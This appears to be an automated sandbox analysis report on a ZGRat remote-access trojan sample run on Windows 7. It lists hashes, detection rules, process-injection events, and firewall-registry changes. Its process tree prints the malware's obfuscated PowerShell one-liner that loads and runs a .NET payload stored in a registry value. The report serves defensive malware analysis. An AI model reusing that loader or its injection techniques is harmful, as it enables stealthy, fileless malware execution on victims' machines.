Analysis
- max time kernel
150s - max time network
123s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system - submitted
20/03/2024, 09:25
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
Resource
win7-20240221-en
12 signatures
150 seconds
General
- Target SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
- Size 3.1MB
- Sample240320-ldly2ade33
- SHA256 dbbe21f14ca93d658be3606974e289edf4b205b22d967324c49cba1950f29b9e
- MD5 a67169c874028b84c830f38235fc7d3c
- SHA1 4bd992ad38ae9c0746e28882ab5f2e2ebecce99e
- SHA512 068028d5375658f12038433d9de1fba924145f938793300a683c9249afdbccee10b848be34a73b54cd2cba820ce649eba95596ac6276867430acf2f617c021b8
- SSDEEP 98304:J9B5qENyycznpvioeTxDQxpsn2gvZ+w2UX:zBn4npvigqnTvZl2UX
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Detect ZGRat V1 35 IoCs
resource yara_rule behavioral1/memory/2928-3-0x0000000006200000-0x0000000006512000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-4-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-5-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-7-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-9-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-11-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-13-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-15-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-17-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-19-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-21-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-23-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-25-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-27-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-29-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-31-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-33-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-35-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-37-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-39-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-41-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-43-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-45-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-47-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-49-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-51-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-53-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-55-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-57-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-59-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-61-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-63-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-65-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/2928-67-0x0000000006200000-0x000000000650C000-memory.dmp family_zgrat_v1 behavioral1/memory/1948-4903-0x0000000004B50000-0x0000000004C38000-memory.dmp family_zgrat_v1 - Modifies security service 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP svchost.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection svchost.exe - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1728 created 436 1728 powershell.EXE 5 - Executes dropped EXE 1 IoCs
pid Process 1948 $773864ba5ec43f - Loads dropped DLL 1 IoCs
pid Process 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 2928 set thread context of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 set thread context of 1948 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 31 PID 1728 set thread context of 1256 1728 powershell.EXE 35 - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d072e89da87ada01 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 1728 powershell.EXE 1728 powershell.EXE 1256 dllhost.exe 1256 dllhost.exe 1256 dllhost.exe 1256 dllhost.exe 1256 dllhost.exe - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe Token: SeDebugPrivilege 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe Token: SeDebugPrivilege 1948 $773864ba5ec43f Token: SeDebugPrivilege 1728 powershell.EXE Token: SeDebugPrivilege 1728 powershell.EXE Token: SeDebugPrivilege 1256 dllhost.exe - Suspicious use of WriteProcessMemory 50 IoCs
description pid Process procid_target PID 2928 wrote to memory of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 wrote to memory of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 wrote to memory of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 wrote to memory of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 wrote to memory of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 wrote to memory of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 wrote to memory of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 wrote to memory of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 wrote to memory of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 wrote to memory of 2576 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 30 PID 2928 wrote to memory of 1948 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 31 PID 2928 wrote to memory of 1948 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 31 PID 2928 wrote to memory of 1948 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 31 PID 2928 wrote to memory of 1948 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 31 PID 2928 wrote to memory of 1948 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 31 PID 2928 wrote to memory of 1948 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 31 PID 2928 wrote to memory of 1948 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 31 PID 2928 wrote to memory of 1948 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 31 PID 2928 wrote to memory of 1948 2928 SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe 31 PID 2848 wrote to memory of 1728 2848 taskeng.exe 33 PID 2848 wrote to memory of 1728 2848 taskeng.exe 33 PID 2848 wrote to memory of 1728 2848 taskeng.exe 33 PID 1728 wrote to memory of 1256 1728 powershell.EXE 35 PID 1728 wrote to memory of 1256 1728 powershell.EXE 35 PID 1728 wrote to memory of 1256 1728 powershell.EXE 35 PID 1728 wrote to memory of 1256 1728 powershell.EXE 35 PID 1728 wrote to memory of 1256 1728 powershell.EXE 35 PID 1728 wrote to memory of 1256 1728 powershell.EXE 35 PID 1728 wrote to memory of 1256 1728 powershell.EXE 35 PID 1728 wrote to memory of 1256 1728 powershell.EXE 35 PID 1728 wrote to memory of 1256 1728 powershell.EXE 35 PID 1256 wrote to memory of 436 1256 dllhost.exe 5 PID 1256 wrote to memory of 480 1256 dllhost.exe 6 PID 1256 wrote to memory of 492 1256 dllhost.exe 7 PID 1256 wrote to memory of 500 1256 dllhost.exe 8 PID 1256 wrote to memory of 604 1256 dllhost.exe 9 PID 1256 wrote to memory of 684 1256 dllhost.exe 10 PID 1256 wrote to memory of 748 1256 dllhost.exe 11 PID 1256 wrote to memory of 808 1256 dllhost.exe 12 PID 1256 wrote to memory of 856 1256 dllhost.exe 13 PID 1256 wrote to memory of 972 1256 dllhost.exe 15 PID 1256 wrote to memory of 240 1256 dllhost.exe 16 PID 1256 wrote to memory of 332 1256 dllhost.exe 17 PID 1256 wrote to memory of 1076 1256 dllhost.exe 18 PID 1256 wrote to memory of 1704 1256 dllhost.exe 24 PID 1256 wrote to memory of 1808 1256 dllhost.exe 25 PID 1256 wrote to memory of 2568 1256 dllhost.exe 29 PID 1256 wrote to memory of 1948 1256 dllhost.exe 31 PID 1256 wrote to memory of 2848 1256 dllhost.exe 32 PID 1256 wrote to memory of 1796 1256 dllhost.exe 36
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:436
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{08832a0e-7e32-436d-adb4-2bc554fa5721}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1256
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:604
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding3⤵PID:2568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
- Modifies security service
PID:748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:808
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵PID:856
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C:\Windows\system32\taskeng.exetaskeng.exe {FD2CC624-8A3A-4F11-A5FC-5C4852613FFC} S-1-5-18:NT AUTHORITY\System:Service:3⤵
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue('$'+[Char](55)+'7'+'s'+''+[Char](116)+'ag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:240
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1704
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1808
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:492
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:500
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe"1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe"2⤵PID:2576
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C:\Users\Admin\AppData\Local\Temp\$773864ba5ec43f"C:\Users\Admin\AppData\Local\Temp\$773864ba5ec43f"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1948
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path \Users\Admin\AppData\Local\Temp\$773864ba5ec43f
- Size 3.1MB
- SHA256 dbbe21f14ca93d658be3606974e289edf4b205b22d967324c49cba1950f29b9e
- MD5 a67169c874028b84c830f38235fc7d3c
- SHA1 4bd992ad38ae9c0746e28882ab5f2e2ebecce99e
- SHA512 068028d5375658f12038433d9de1fba924145f938793300a683c9249afdbccee10b848be34a73b54cd2cba820ce649eba95596ac6276867430acf2f617c021b8
- SSDEEP 98304:J9B5qENyycznpvioeTxDQxpsn2gvZ+w2UX:zBn4npvigqnTvZl2UX
- MD5 SHA1 SHA512 SSDEEP